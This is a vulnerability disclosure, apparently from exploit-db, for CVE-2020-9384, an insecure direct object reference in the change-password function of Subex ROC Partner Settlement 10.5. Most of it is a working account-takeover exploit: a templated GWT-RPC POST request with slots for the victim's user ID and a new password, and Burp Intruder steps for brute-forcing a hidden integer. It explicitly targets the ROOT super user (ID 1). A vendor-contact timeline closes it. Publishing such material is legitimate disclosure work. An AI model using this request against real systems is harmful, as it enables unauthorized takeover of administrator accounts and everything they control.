=========================================================================================================== Subex ROC Partner Settlement 10.5 - Authenticated IDOR in change password function lead to account takeover =========================================================================================================== # Exploit Title: Insecure Direct Object Reference (IDOR) vulnerability in change password function of Subex ROC Partner Settlement 10.5 allows remote authenticated users to account takeover via manipulation of POST parameters. # Date: 20 February 2020 # Exploit Author: Kitchaphan Singchai (idealphase), Jirawat Vuthawiphat (Freeze) # Vendor Homepage: https://www.subex.com/partner-settlement/ # Software Link: [download link if available] # Version: 10.5 (and probably earlier versions) # CVE : CVE-2020-9384 [Summary] A change password function is vulnerable to Insecure Direct Object Reference (IDOR). Therefore, Any authenticated user can change a victim password. and then masquerade as victim user. [Vulnerability Details] Authentication : authenticated user. Page : http://ip:port/commonService [Sample HTTP POST Request format is Google Web Toolkit (GWT)] POST /<REDACTED_URI1>/<REDACTED_URI2>/commonService HTTP/1.1 Host: <REDACTED_IP_ADDRESS>:<REDACTED_PORT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: / Accept-Language: th,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: text/x-gwt-rpc; charset=utf-8 X-GWT-Permutation: C2F56A526C284847E8CB55F5C9540273 X-GWT-Module-Base: https://<REDACTED_IP_ADDRESS>:<REDACTED_PORT>/<REDACTED_URI1>/<REDACTED_URI>/ Content-Length: 326 Connection: close Referer: https://<REDACTED_IP_ADDRESS>:<REDACTED_PORT>/<REDACTED_URI>/<REDACTED_FILENAME>.html Cookie: JSESSIONID=0DE915A64064A2C9A7CADB7B85EB71FB; GWT_LOCALE=en_GB; A48EE5E800701A3D7942009555C67E71=1002226284; 4587BA7D7CD481833715E8495588AFBF=410786149; session-id=session-id 7|2|24|https://<REDACTED_IP_ADDRESS>:<REDACTED_PORT>/<REDACTED_URI1>/<REDACTED_URI2>/|D451683615061B43F5EB83714BAECE53|com.google.gwt.user.client.rpc.XsrfToken/4254043109|25543866D9D80B67F35B7482D162B874|com.subex.spark.web.app.client.module.options.changepassword.ChangePasswordDetailService|saveModel|com.subex.spark.web.app.client.module.options.changepassword.UserTblModel/430295178|<INSERT_NEW_PASSWORD_HERE>|java.lang.Boolean/476441737|java.lang.Integer/3438268394|<INSERT_ARBITRARY_USERNAME_HERE>|com.subex.spark.web.app.client.framework.models.EntityTblForAbstractFSModel/3643375843|UserTbl|User|com.subex.gwt.datamodel.SerializerMap/3044779994|extraArgDfnModelList|ExtraControl|java.lang.String/2004016611||forceAlphaNumericValue|N|abstractEntityTbl|UserPassword|User Password|1|2|3|4|5|6|1|7|7|8|0|9|1|10|6|11|8|12|13|14|13|543|9|0|0|-6|0|-246160|1|1|0|0|0|11|-6|0|0|0|10|3|-6|0|0|<BRUTE_FORCE_THIS_INTEGER_VALUE_START_FROM_0_UNTIL_FOUND_//OK[0,[],0,7]_IN_HTTP_RESPONSE_MESSAGE>|-3|11|-6|0|<VICTIM_USER_ID_FOR_ROOT_USER_MOST_PRIVILEGE_IN_THIS_SYSTEM_IS_1>|1|1|15|4|16|0|17|18|19|20|18|21|22|12|23|24|23|535|-6|0|-6|0|-246162|1|1|0|25543866D9D80B67F35B7482D162B874 [Step to reproduce] 1. Browsing a ROC Partner Settlement web page. 2. Logging in with your credentials 3. Clicking Change Password menu 4. Turn on Web proxy to intercept request (I always use Burp Suite) 5. Fill the new password and confirm new password and click OK button 6. Send intercepted request to Burp Intruder tab 7. There are 4 parameters that you have to manipulate 7.1 <INSERT_NEW_PASSWORD_HERE> ; You have to insert arbitrary your new password here that you want to change 7.2 <INSERT_ARBITRARY_USERNAME_HERE> ; User in this system bind with User ID. So, you can insert arbitrary username you want here that you can remember it because you have to use it later in login page 7.3 <BRUTE_FORCE_THIS_INTEGER_VALUE_START_FROM_0_UNTIL_FOUND_//OK[0,[],0,7]_IN_HTTP_RESPONSE_MESSAGE> ; This value is a number that We don't know what it is. But, It always is a number. So, Burp intruder can help you to find a valid number. Starting from 0 to N. In my case, When I tested for 2 victim users. This value is 7 and 36 simultaneously. 7.4 <VICTIM_USER_ID_FOR_ROOT_USER_MOST_PRIVILEGE_IN_THIS_SYSTEM_IS_1> ; You have to insert Victim user ID. But, ROC Partner Settlement system has a super user (It has the most privilege and can use every function in the Partner Settlement) named ROOT with user ID is 1. So, Changing ROOT password is the best way to do everything you want. 8. After change 4 parameters. Starting Brute force and expecting to see the message "//OK[0,[],0,7]"" in some request 9. Go back to login page, Filling your new username and your new password. 10. After login succesffuly, The system will force you to change password again. Just change it again. Finally, You will account takeover completely. [Expected successful change password in HTTP response message] HTTP/1.1 200 OK ... Content-Length: 14 Connection: close //OK[0,[],0,7] [Timeline] 2/Oct/2019 - Contacted Subex live chat and Sending details shared with associated E-mail and get first response 4/Oct/2019 - Subex told that they had an internal discussion at Subex and the product team will take care of the problem internally. 18/Nov/2019 - Waiting any update from Subex and send details about public vulnerability disclosure, Subex told that they will discuss this internally and get back to you at the earliest. 20/Feb/2020 - Sending CVE request on https://cveform.mitre.org/ and submitting exploit detail to exploit-db 25/Feb/2020 - CVE assigned as CVE-2020-9384